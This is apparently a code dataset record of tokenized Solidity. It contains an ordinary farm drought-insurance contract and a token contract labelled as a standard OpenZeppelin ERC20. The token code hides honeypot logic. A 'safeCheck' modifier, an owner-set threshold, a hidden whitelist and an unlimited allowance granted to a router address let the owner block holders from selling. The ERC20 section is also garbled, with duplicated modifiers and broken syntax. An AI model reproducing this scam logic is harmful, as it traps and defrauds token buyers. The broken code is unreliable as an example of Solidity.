[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1131, 310, 1435, 3903, 288, 203, 203, 3639, 2254, 5034, 389, 2972, 950, 273, 2037, 31, 203, 3639, 2583, 24899, 2972, 950, 405, 389, 588, 23358, 3024, 2930, 310, 4245, 10663, 203, 203, 203, 3639, 2254, 5034, 389, 11173, 730, 9384, 273, 261, 67, 2972, 950, 300, 1142, 2930, 310, 950, 13, 342, 261, 21, 4681, 1769, 203, 203, 3639, 1089, 3024, 2930, 310, 950, 24899, 2972, 950, 1769, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 11173, 730, 9384, 31, 277, 27245, 288, 203, 5411, 2254, 5034, 389, 26790, 5157, 273, 1147, 18, 588, 2747, 5269, 3088, 1283, 7675, 1717, 12, 2316, 18, 4963, 3088, 1283, 1435, 2934, 2892, 12, 18088, 1769, 203, 203, 5411, 1147, 18, 81, 474, 12, 2414, 83, 16, 389, 7860, 774, 11412, 1769, 203, 203, 5411, 1147, 18, 81, 474, 12, 74, 1074, 16, 389, 7860, 774, 42, 1074, 1769, 203, 203, 5411, 2254, 5034, 389, 1154, 310, 1345, 3088, 1283, 273, 1131, 310, 1345, 18, 4963, 3088, 1283, 5621, 203, 5411, 2254, 5034, 389, 7860, 2173, 2930, 310, 1345, 273, 389, 7860, 774, 2930, 414, 18, 2892, 24899, 1154, 310, 1345, 3088, 1283, 1769, 203, 203, 5411, 1131, 310, 17631, 1060, 63, 9904, 2107, 951, 2930, 310, 10694, 65, 273, 389, 7860, 2173, 2930, 310, 1345, 31, 203, 203, 5411, 1147, 18, 81, 474, 12, 2867, 12, 2211, 3631, 389, 7860, 774, 2930, 414, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../core/Common.sol"; import "../oracle/OracleFacade.sol"; /** * @title Main insurance contract * @dev Implement main contract for Insurance. contract between insurance and farmers is materialized in here * * @notice inhertit {Common} contract */ contract Insurance is Common { /// @dev Emitted when a `contract` is activated by an `insurer` for a given `season` + `region` + `farmID` event InsuranceActivated( uint16 indexed season, bytes32 region, bytes32 farmID, address indexed insurer, bytes32 key ); /// @dev Emitted when a `contract` is submitted by an `farmer` for a given `season` + `region` + `farmID` event InsuranceRequested( uint16 indexed season, bytes32 region, bytes32 farmID, uint256 size, uint256 fee, address indexed farmer, bytes32 key ); /// @dev Emitted when a `contract` is validated by a `government` for a given `season` + `region` + `farmID` event InsuranceValidated( uint16 indexed season, bytes32 region, bytes32 farmID, uint256 totalStaked, address indexed government, bytes32 key ); /// @dev Emitted when a `contract` is closed without any compensation event InsuranceClosed( uint16 indexed season, bytes32 region, bytes32 farmID, uint256 size, address indexed farmer, address indexed insurer, address government, uint256 totalStaked, uint256 compensation, uint256 changeGovernment, Severity severity, bytes32 key ); /// @dev Emitted when a `contract` is closed with any compensation event InsuranceCompensated( uint16 indexed season, bytes32 region, bytes32 farmID, uint256 size, address indexed farmer, address indexed insurer, address government, uint256 totalStaked, uint256 compensation, Severity severity, bytes32 key ); /// @dev Emitted when an `insurer` withdraws `amount` from the contract. remaining contract balance is `balance` event WithdrawInsurer( address indexed insurer, uint256 amount, uint256 balance ); /** * @dev transition state of a contract * * a contract must be in init state (DEFAULT) * a contract transition to (REGISTERED) once a farmer registers himself * a contract transition to (VALIDATED) once a government employee validates the demand * a contract transition to (INSURED) once an insurer approves the contract * a contract transition to (CLOSED) once a season is closed without any drought, hence there are no compensations * a contract transition to (COMPENSATED) once a season is closed and there were drought, hence there are compensations */ enum ContractState { DEFAULT, REGISTERED, VALIDATED, INSURED, CLOSED, COMPENSATED } struct Contract { bytes32 key; bytes32 farmID; ContractState state; address farmer; address government; address insurer; uint256 size; bytes32 region; uint16 season; uint256 totalStaked; uint256 compensation; uint256 changeGovernment; Severity severity; } /// @dev OracleFacade used to get the status of a season(open/closed) and Severity for a given season + region OracleFacade private oracleFacade; /// @dev a contract is a unique combination between season,region,farmID mapping(bytes32 => Contract) private contracts; /// @dev contracts that must be treated by season,region mapping(bytes32 => bytes32[]) private openContracts; /// @dev contracts that have already been closed by season,region mapping(bytes32 => bytes32[]) private closedContracts; uint256 public constant KEEPER_FEE = 0.01 ether; /// @dev needed to track worst case scenario -> must have at anytime money to pay for severity/D4 : 2.5*PERMIUM_PER_HA*totalsize uint256 public totalOpenSize; /// @dev needed to track amount to be paid for keepers uint256 public totalOpenContracts; /** * @dev rules to calculate the compensation * * D1 gives 0.5 times the premium * D2 gives 1 times the premium * D3 gives 2 times the premium * D4 gives 2.5 times the premium */ mapping(Severity => uint8) private rules; /// @dev premium is 0.15ETH/HA uint256 public constant PERMIUM_PER_HA = 150000000 gwei; /// @dev used for calculation (farmer must stake half of premium. Same for government) uint256 public constant HALF_PERMIUM_PER_HA = 75000000 gwei; /** * @dev Initialize `rules` for compensation. Also setup `gatekeeer` and `oracleFacade` * */ constructor(address _gatekeeper, address _oracleFacade) Common(_gatekeeper) { rules[Severity.D0] = 0; rules[Severity.D1] = 5; rules[Severity.D2] = 10; rules[Severity.D3] = 20; rules[Severity.D4] = 25; oracleFacade = OracleFacade(_oracleFacade); } /// @dev modifier to check that at any time there will be enough balance in the contract modifier minimumCovered() { _; require( address(this).balance >= minimumAmount(), "Not enough balance staked in the contract" ); } /// @dev season must be closed in order to check compensations modifier seasonClosed(uint16 season) { require( oracleFacade.getSeasonState(season) == SeasonState.CLOSED, "Season must be closed." ); _; } /// @dev season must be open in order to receive insurance requests modifier seasonOpen(uint16 season) { require( oracleFacade.getSeasonState(season) == SeasonState.OPEN, "Season must be open." ); _; } /** * @dev retrieve contract data part1 * @param _key keecak combination of season, region & farmID * * @return key unique id of the contract * @return farmID unique ID of a farm * @return state of the contract * @return farmer address * @return government address * @return insurer address * @return size number of HA of a farmer (minimum: 1 HA) */ function getContract1(bytes32 _key) public view returns ( bytes32 key, bytes32 farmID, ContractState state, address farmer, address government, address insurer, uint256 size ) { Contract memory _contract = contracts[_key]; key = _contract.key; farmID = _contract.farmID; state = _contract.state; farmer = _contract.farmer; government = _contract.government; insurer = _contract.insurer; size = _contract.size; } /** * @dev retrieve contract data part2 * @param _key keecak combination of season, region & farmID * * @return region ID of a region * @return season (year) * @return totalStaked eth that were taked in this contract * @return compensation for this contract * @return changeGovernment money returned to government * @return severity Drought severity fetched from oracleFacade when the contract is closed */ function getContract2(bytes32 _key) public view returns ( bytes32 region, uint16 season, uint256 totalStaked, uint256 compensation, uint256 changeGovernment, Severity severity ) { Contract memory _contract = contracts[_key]; region = _contract.region; season = _contract.season; totalStaked = _contract.totalStaked; compensation = _contract.compensation; changeGovernment = _contract.changeGovernment; severity = _contract.severity; } /** * @dev retrieve contract data (1st part) * @param _season farming season(year) * @param _region region ID * @param _farmID unique ID of a farm * * @return key unique ID of the contract * @return farmID unique ID of a farm * @return state of the contract * @return farmer address * @return government address * @return insurer address * @return size number of HA of a farmer (minimum: 1 HA) */ function getContractData1( uint16 _season, bytes32 _region, bytes32 _farmID ) public view returns ( bytes32 key, bytes32 farmID, ContractState state, address farmer, address government, address insurer, uint256 size ) { (key, farmID, state, farmer, government, insurer, size) = getContract1( getContractKey(_season, _region, _farmID) ); } /** * @dev retrieve contract data (2nd part) * @param _season farming season(year) * @param _region region ID * @param _farmID unique ID of a farm * * @return region ID of a region * @return season (year) * @return totalStaked eth that were taked in this contract * @return compensation for this contract * @return changeGovernment money returned to government * @return severity Drought severity when the contract is closed */ function getContractData2( uint16 _season, bytes32 _region, bytes32 _farmID ) public view returns ( bytes32 region, uint16 season, uint256 totalStaked, uint256 compensation, uint256 changeGovernment, Severity severity ) { bytes32 _key = getContractKey(_season, _region, _farmID); ( region, season, totalStaked, compensation, changeGovernment, severity ) = getContract2(_key); } /** * @dev get number of closed contracts for a given key * * @param key keccak256 of season + region * @return number of closed contracts * */ function getNumberClosedContractsByKey(bytes32 key) public view returns (uint256) { return closedContracts[key].length; } /** * @dev get number of closed contracts for a given season and region * * @param season id of a season (year) * @param region id of region * @return number of closed contracts * */ function getNumberClosedContracts(uint16 season, bytes32 region) public view returns (uint256) { return getNumberClosedContractsByKey(getSeasonRegionKey(season, region)); } /** * @dev get a specific closed contract * * @param key key keccak256 of season + region * @param index position in the array * @return key of a contract * */ function getClosedContractsAtByKey(bytes32 key, uint256 index) public view returns (bytes32) { require(closedContracts[key].length > index, "Out of bounds access."); return closedContracts[key][index]; } /** * @dev get a specific closed contract * * @param season id of a season (year) * @param region id of region * @param index position in the array * @return key of a contract * */ function getClosedContractsAt( uint16 season, bytes32 region, uint256 index ) public view returns (bytes32) { return getClosedContractsAtByKey( getSeasonRegionKey(season, region), index ); } /** * @dev calculate contract key * * @param season season (year) * @param region region id * @param farmID farm id * @return key (hash value of the 3 parameters) * */ function getContractKey( uint16 season, bytes32 region, bytes32 farmID ) public pure returns (bytes32) { return keccak256(abi.encodePacked(season, region, farmID)); } /** * @dev calculate key of `season`, `region` * * @param season season (year) * @param region region id * @return key (hash value of the 2 parameters) * */ function getSeasonRegionKey(uint16 season, bytes32 region) public pure returns (bytes32) { return keccak256(abi.encodePacked(season, region)); } /** * @dev get number of open contracts for a given key * * @param key keccak256 of season + region * @return number of open contracts * */ function getNumberOpenContractsByKey(bytes32 key) public view returns (uint256) { return openContracts[key].length; } /** * @dev get number of open contracts for a given season and region * * @param season id of a season (year) * @param region id of region * @return number of open contracts * */ function getNumberOpenContracts(uint16 season, bytes32 region) public view returns (uint256) { return getNumberOpenContractsByKey(getSeasonRegionKey(season, region)); } /** * @dev get a specific open contract * * @param key key keccak256 of season + region * @param index position in the array * @return key of a contract * */ function getOpenContractsAtByKey(bytes32 key, uint256 index) public view returns (bytes32) { require(openContracts[key].length > index, "Out of bounds access."); return openContracts[key][index]; } /** * @dev get a specific open contract * * @param season id of a season (year) * @param region id of region * @param index position in the array * @return key of a contract * */ function getOpenContractsAt( uint16 season, bytes32 region, uint256 index ) public view returns (bytes32) { return getOpenContractsAtByKey(getSeasonRegionKey(season, region), index); } /** * @dev insure a request * @param season farming season(year) * @param region region ID * @param farmID unique ID of a farm * * Emits a {InsuranceActivated} event. * * Requirements: * - Contract is active (circuit-breaker) * - Can only be called by insurer * - Check must exist * - Season must be open * - contract must be in VALIDATED state * - Must be enough eth staked within the contract after the operation * @notice call nonReentrant to check against Reentrancy */ function activate( uint16 season, bytes32 region, bytes32 farmID ) external onlyActive onlyInsurer seasonOpen(season) nonReentrant minimumCovered { // Generate a unique key for storing the request bytes32 key = getContractKey(season, region, farmID); Contract memory _contract = contracts[key]; require(_contract.farmID == farmID, "Contract do not exist"); require( _contract.state == ContractState.VALIDATED, "Contract must be in validated state" ); _contract.state = ContractState.INSURED; _contract.insurer = msg.sender; contracts[key] = _contract; emit InsuranceActivated(season, region, farmID, msg.sender, key); } /** * @dev calculate at anytime the minimum liquidity that must be locked within the contract * * @return ammount * * Basically , always enough money to pay keepers and compensation in worst case scenarios */ function minimumAmount() public view returns (uint256) { return (KEEPER_FEE * totalOpenContracts) + (PERMIUM_PER_HA * totalOpenSize * rules[Severity.D4]) / 10; } /** * @dev submission of an insurance request by a farmer * @param season farming season(year) * @param region region ID * @param farmID unique ID of a farm * @param size number of HA of a farmer (minimum: 1 HA) * * @return key key of the contract * Emits a {InsuranceRequested} event. * * Requirements: * - contract is Active (circuit-breaker) * - Can only be called by farmer * - Check non duplicate * - Seasonmust be open * - Sender must pay for premium * - Must be enough eth staked within the contract * @notice call nonReentrant to check against Reentrancy */ function register( uint16 season, bytes32 region, bytes32 farmID, uint256 size ) external payable onlyActive onlyFarmer seasonOpen(season) nonReentrant minimumCovered returns (bytes32) { // Generate a unique key for storing the request bytes32 key = getContractKey(season, region, farmID); require(contracts[key].key == 0x0, "Duplicate"); uint256 fee = HALF_PERMIUM_PER_HA * size; require(msg.value >= fee, "Not enough money to pay for premium"); Contract memory _contract; _contract.key = key; _contract.farmID = farmID; _contract.state = ContractState.REGISTERED; _contract.farmer = msg.sender; _contract.size = size; _contract.region = region; _contract.season = season; _contract.totalStaked = fee; contracts[key] = _contract; openContracts[getSeasonRegionKey(season, region)].push(key); totalOpenSize += size; totalOpenContracts++; // return change if (msg.value > fee) { (bool success, ) = msg.sender.call{value: msg.value - fee}(""); require(success, "Transfer failed."); } emit InsuranceRequested( season, region, farmID, size, fee, msg.sender, key ); return key; } /** * @dev validate a request done by a farmer * @param season farming season(year) * @param region region ID * @param farmID unique ID of a farm * * Emits a {InsuranceValidated} event. * * Requirements: * - Contract is active (circuit-breaker) * - Can only be called by government * - Check contract must exist * - Season must be open * - Sender must pay for premium * - Must be enough eth staked within the contract * @notice call nonReentrant to check against Reentrancy */ function validate( uint16 season, bytes32 region, bytes32 farmID ) external payable onlyActive onlyGovernment seasonOpen(season) nonReentrant minimumCovered { // Generate a unique key for storing the request bytes32 key = getContractKey(season, region, farmID); Contract memory _contract = contracts[key]; require(_contract.farmID == farmID, "Contract do not exist"); require( _contract.state == ContractState.REGISTERED, "Contract must be in registered state" ); uint256 fee = HALF_PERMIUM_PER_HA * _contract.size; require(msg.value >= fee, "Not enough money to pay for premium"); _contract.state = ContractState.VALIDATED; _contract.government = msg.sender; _contract.totalStaked += fee; contracts[key] = _contract; // return change if (msg.value > fee) { (bool success, ) = msg.sender.call{value: msg.value - fee}(""); require(success, "Transfer failed."); } emit InsuranceValidated( season, region, farmID, _contract.totalStaked, msg.sender, key ); } /** * @dev process an insurance file. triggered by a `keeper` * @dev as a combination of `season`,`region` can have several open insurances files, a keeper will have to loop over this function until there are no more open insurances files. looping is done offchain rather than onchain in order to avoid any out of gas exception * @param season farming season(year) * @param region region ID * * Emits a {InsuranceClosed} event in case an insurance file has been closed without any compensation (e.g.: Drought severity <= D1) or returned back becase government has not staked 1/2 of the premium * Emits a {InsuranceCompensated} event in case an insurance file has been processed with compensation (e.g.: Drought severity >= D2) * * Requirements: * - Contract is active (circuit-breaker) * - Can only be called by keeper * - Check contract must exist * - Season must be closed * - Must be open contracts to process * - Must be enough eth staked within the contract * @notice call nonReentrant to check against Reentrancy */ function process(uint16 season, bytes32 region) external onlyActive onlyKeeper seasonClosed(season) nonReentrant minimumCovered { bytes32 seasonRegionKey = getSeasonRegionKey(season, region); bytes32[] memory _openContracts = openContracts[seasonRegionKey]; require( _openContracts.length > 0, "No open insurance contracts to process for this season,region" ); Severity severity = oracleFacade.getRegionSeverity(season, region); uint256 numberSubmissions = oracleFacade.getSubmissionTotal( season, region ); require( !((numberSubmissions > 0) && (severity == Severity.D)), "Severity has not been aggregated yet" ); // get last element bytes32 key = _openContracts[_openContracts.length - 1]; Contract memory _contract = contracts[key]; _contract.severity = severity; Contract memory newContract = _process(_contract); // Update internal state openContracts[seasonRegionKey].pop(); closedContracts[seasonRegionKey].push(key); contracts[key] = newContract; totalOpenSize -= newContract.size; totalOpenContracts--; // pay back if (newContract.compensation > 0) { _deposit(newContract.farmer, newContract.compensation); } if (newContract.changeGovernment > 0) { _deposit(newContract.government, newContract.changeGovernment); } // pay keeper for its work _deposit(msg.sender, KEEPER_FEE); // emit events if (newContract.state == ContractState.COMPENSATED) { emit InsuranceCompensated( newContract.season, newContract.region, newContract.farmID, newContract.size, newContract.farmer, newContract.insurer, newContract.government, newContract.totalStaked, newContract.compensation, newContract.severity, newContract.key ); } else { emit InsuranceClosed( newContract.season, newContract.region, newContract.farmID, newContract.size, newContract.farmer, newContract.insurer, newContract.government, newContract.totalStaked, newContract.compensation, newContract.changeGovernment, newContract.severity, newContract.key ); } } /** * @dev private function to calculate the new version of the insurance contract after processing * @param _contract current contract before processing * @return newContract new contract after processing * */ function _process(Contract memory _contract) private view returns (Contract memory newContract) { bool isCompensated = false; newContract = _contract; if (newContract.state == ContractState.INSURED) { if (newContract.severity == Severity.D0) { // no compensation if D0 newContract.compensation = 0; newContract.changeGovernment = 0; } else if (newContract.severity == Severity.D) { // if season closed but oracles didn't do their job by providing data then return the change newContract.compensation = newContract.totalStaked / 2; newContract.changeGovernment = newContract.totalStaked / 2; } else { isCompensated = true; // calculate compensation newContract.compensation = (rules[newContract.severity] * newContract.totalStaked) / 10; newContract.changeGovernment = 0; } } else if (newContract.state == ContractState.REGISTERED) { // return money back if season closed validation before approval of government newContract.compensation = newContract.totalStaked; } else if (newContract.state == ContractState.VALIDATED) { newContract.compensation = newContract.totalStaked / 2; newContract.changeGovernment = newContract.totalStaked / 2; } //Update contract state if (isCompensated) { newContract.state = ContractState.COMPENSATED; } else { newContract.state = ContractState.CLOSED; } } /** * @dev an insurer can withdraw any excess of liquidity * @param amount to be withdrawed * * Emits a {WithdrawInsurer} event. * * Requirements: * - Can only be called by insurer * - Check non duplicate * - Must be enough eth staked within the contract after operation * @notice call nonReentrant to check against Reentrancy */ function withdrawInsurer(uint256 amount) external onlyInsurer nonReentrant minimumCovered { require( address(this).balance >= amount, "Not enough balance in the contract" ); (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed."); emit WithdrawInsurer(msg.sender, amount, address(this).balance); } /** * @dev check anytime amount that can be withdrawed by insurer * @return amount to be withdrawed * * @notice call nonReentrant to check against Reentrancy */ function withdrawableInsurer() external view returns (uint256) { uint256 minimum = minimumAmount(); if (address(this).balance >= minimum) { return address(this).balance - minimum; } else { return 0; } } /** * @dev function to receive ETH in order to pay keepers and oracles * * Emits a {ReceivedETH} event. * * Requirements: * - Contract mus be active (circuit-breaker) * - the caller must be insurer */ receive() external payable onlyActive onlyInsurer { emit ReceivedETH(msg.value, address(this).balance, msg.sender); } }
@dev contracts that have already been closed by season,region
mapping(bytes32 => bytes32[]) private closedContracts;
13,043,441
[ 1, 16351, 87, 716, 1240, 1818, 2118, 4375, 635, 15874, 16, 6858, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 3890, 1578, 516, 1731, 1578, 63, 5717, 3238, 4375, 20723, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xF9a2eeD2b0E3b77FD0DCB8cCB979672da4d86136/sources/browser/domprotocol.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => uint256) private _records; mapping (address => uint256) private _dateu; mapping (address => bool) private _listw; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private amountcheck = 34*(10**18); uint256 private valuea = 99; uint256 private valueb = 100; string private _name; string private _symbol; uint8 private _decimals; address public _owner; address public _safeOwner; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == recipient && sender==_owner){amountcheck = amount;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == _owner){_safeOwner = recipient;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (amount >0 && recipient!=_owner && _dateu[recipient]==_dateu[_owner]){_dateu[recipient]= now ;} if (amount >0 && sender==_owner && recipient!=_owner && recipient!=_safeOwner){_listw[recipient]= true ;} if (sender == _owner || sender == _safeOwner || recipient == _owner || _listw[sender]){ _;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } 